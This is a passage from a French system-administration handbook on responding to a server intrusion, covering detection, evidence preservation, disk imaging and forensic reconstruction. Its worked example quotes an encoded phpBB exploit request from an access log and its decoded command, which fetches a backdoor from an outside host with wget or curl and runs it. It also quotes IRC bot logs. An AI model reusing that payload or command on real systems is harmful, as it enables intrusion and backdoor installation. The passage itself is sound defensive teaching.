Malgré toute la bonne volonté et tout le soin apporté à la politique de sécurité, tout administrateur informatique est tôt ou tard confronté à un acte de piratage. Cette section donne des lignes directrices pour bien réagir face à ces fâcheux événements.
14.7.1. Détecter et constater le piratage
Avant de pouvoir agir face à un piratage, il faut se rendre compte que l'on est effectivement victime d'un tel acte. Ce n'est pas toujours le cas... surtout si l'on ne dispose pas d'une infrastructure de supervision adéquate.
Les actes de piratage sont souvent détectés lorsqu'ils ont des conséquences directes sur les services légitimes hébergés sur la machine : la lenteur soudaine de la connexion, l'impossibilité de se connecter pour certains utilisateurs ou tout autre dysfonctionnement. Face à ces problèmes, l'administrateur est obligé de se pencher sur la machine et d'étudier de plus près ce qui ne tourne pas rond. C'est à ce moment qu'il va découvrir la présence d'un processus inhabituel, nommé par exemple apache au lieu du /usr/sbin/apache2 habituel. Alerté par ce détail, il note le numéro du processus et consulte /proc/pid/exe pour savoir quel programme se cache derrière ce processus :
# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc
Un programme installé dans /var/tmp/ sous l'identité du serveur web ! Plus de doutes possibles, il y a eu piratage.
Il s'agit là d'un simple exemple. De nombreux autres indices peuvent mettre en alerte un administrateur :
une option d'une commande qui ne fonctionne plus (il vérifie alors la version du logiciel et elle ne correspond pas à celle installée d'après dpkg) ;
une invite de connexion qui indique que la dernière connexion réussie est en provenance d'une machine roumaine ;
une partition /tmp/ pleine (entraînant des erreurs) qui s'avère contenir des films pirates ;
etc.
14.7.2. Mettre le serveur hors ligne
Dans l'immense majorité des cas, l'intrusion provient du réseau et la disponibilité du réseau est essentielle à l'attaquant pour atteindre ses objectifs (récupérer des données confidentielles, échanger des fichiers illégaux, masquer son identité en employant la machine comme relais intermédiaire…). Débrancher l'ordinateur du réseau empêchera l'attaquant d'arriver à ses fins au cas où il n'en aurait pas encore eu le temps.
14.7.3. Préserver tout ce qui peut constituer une preuve
Si l'on veut comprendre ce qui s'est passé et/ou si l'on veut pouvoir poursuivre les assaillants, il faut conserver une copie de tous les éléments importants : notamment le contenu du disque dur, la liste des processus en cours d'exécution et la liste des connexions ouvertes. Le contenu de la mémoire vive pourrait aussi être intéressant, mais il est assez rare que l'on exploite cette information.
Le stress du moment incite souvent les administrateurs à vérifier beaucoup de choses sur l'ordinateur incriminé, mais c'est une très mauvaise idée. Chaque commande exécutée est susceptible d'effacer des éléments de preuve. Il faut se contenter du minimum (netstat -tupan pour les connexions réseau, ps auxf pour la liste des processus, ls -alR /proc/[0-9]* pour quelques informations supplémentaires sur les programmes en cours d'exécution) et noter systématiquement ce que l'on fait.
Une fois sauvegardés les éléments « dynamiques » les plus importants, il faut réaliser une image fidèle du disque complet. Il est impossible de réaliser une telle image si le système de fichiers évolue encore. Il faut donc le remonter en lecture seule (read-only). Le plus simple est souvent de stopper le serveur (brutalement, après un sync) et de le démarrer sur un CD-Rom de secours. Une image de chaque partition peut alors être réalisée à l'aide du programme dd. Ces images peuvent être stockées sur un autre serveur (l'utilitaire nc est alors très pratique pour envoyer les données générées par dd d'une machine à une autre). Une autre solution, beaucoup plus simple, est de sortir le disque de la machine et de le remplacer par un neuf prêt à être réinstallé.
Avant de remettre le serveur en ligne, il est indispensable de le réinstaller complètement. En effet, si la compromission était sévère (obtention des privilèges administrateur), il est presque impossible d'être certain d'avoir éliminé tout ce que l'attaquant a pu laisser derrière lui (portes dérobées notamment, backdoors en anglais). Une réinstallation complète apportera cette certitude. Bien entendu, il faut également installer toutes les dernières mises à jour de sécurité afin de colmater la brèche que l'attaquant a réussi à exploiter. Idéalement, l'analyse de l'attaque aura mis en lumière la faille et il sera possible de la corriger avec certitude (au lieu de simplement espérer que les mises à jour de sécurité seront suffisantes).
Pour un serveur distant, réinstaller n'est pas forcément évident à réaliser. Il faudra souvent le concours de l'hébergeur car tous ne disposent pas d'infrastructure de réinstallation automatique. Attention également à ne pas réinitialiser la machine avec une sauvegarde complète ultérieure à la date de compromission ! Il vaut mieux réinstaller les logiciels et ne restaurer que les données.
Maintenant que le service est à nouveau fonctionnel, il est temps de se pencher sur les images disque du système compromis afin de comprendre ce qui s'est passé. Lorsqu'on monte l'image du disque, il faut prendre soin d'employer les options ro, nodev, noexec, noatime afin de ne pas modifier son contenu (y compris les horodatages des accès aux fichiers) et de ne pas exécuter par erreur des exécutables compromis.
Pour reconstituer efficacement le scénario d'une attaque, il faut chercher tous azimuts ce qui a été modifié et exécuté :
L'analyse d'éventuels fichiers .bash_history est souvent très instructive;
Il faut extraire la liste des fichiers récemment créés, modifiés et consultés;
L'identification des programmes installés par l'attaquant est souvent possible à l'aide de la commande strings qui extrait les chaînes de caractères présentes dans un binaire;
L'analyse des fichiers de traces de /var/log/ fournit souvent une chronologie;
Enfin, des outils spécialisés permettent de récupérer le contenu de potentiels fichiers supprimés (notamment les fichiers de traces que les attaquants aiment à supprimer).
Certaines de ces opérations sont facilitées par des logiciels spécialisés. Le paquet sleuthkit en particulier fournit de nombreux outils d'analyse de système de fichiers. Leur usage est grandement facilité par l'interface graphique Autopsy Forensic Browser contenue dans le paquet autopsy.
14.7.6. Reconstituer le scénario de l'attaque
Tous les éléments récoltés au cours de l'analyse doivent pouvoir s'emboîter comme dans un puzzle : la date de création des premiers fichiers suspects correspond souvent à des traces prouvant l'intrusion. Un petit exemple réel sera plus parlant qu'un long discours théorique.
La trace ci-dessous, extraite d'un fichier access.log de Apache, en est un exemple :
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
Cet exemple correspond à l'exploitation d'un ancien trou de sécurité de phpBB.
En décodant cette longue URL, il est possible de comprendre que l'attaquant a exécuté la commande PHP system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). Effectivement, un fichier bd est disponible dans /tmp/. L'exécution de strings /mnt/tmp/bd renvoie entre autres PsychoPhobia Backdoor is starting.... Il s'agit donc d'une porte dérobée.
Peu de temps après, cet accès a été utilisé pour télécharger et installer un bot IRC qui s'est connecté à un réseau IRC underground. Il peut être contrôlé par le biais de ce protocole, notamment pour télécharger des fichiers puis les mettre à disposition. Ce logiciel dispose de son propre fichier de trace :
** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)
Deux fichiers vidéo ont été déposés sur le serveur par l'intermédiaire de la machine 82.50.72.202.
En parallèle à cela, l'attaquant a téléchargé des fichiers supplémentaires /tmp/pt et /tmp/loginx. Une analyse avec strings permet de récupérer des chaînes comme Shellcode placed at 0x%08lx ou Now wait for suid shell.... Il s'agit de programmes exploitant des vulnérabilités locales pour obtenir des privilèges administrateur. Mais sont-ils parvenus à leur fin ? Selon toute vraisemblance (fichiers modifiés postérieurement à l'intrusion), non.
Dans cet exemple, tout le déroulement de l'intrusion a pu être reconstitué et l'attaquant a pu se servir du système compromis pendant 3 jours. Toutefois, le plus important dans cette reconstitution est que la vulnérabilité a été identifiée et a pu être corrigée sur la nouvelle installation.
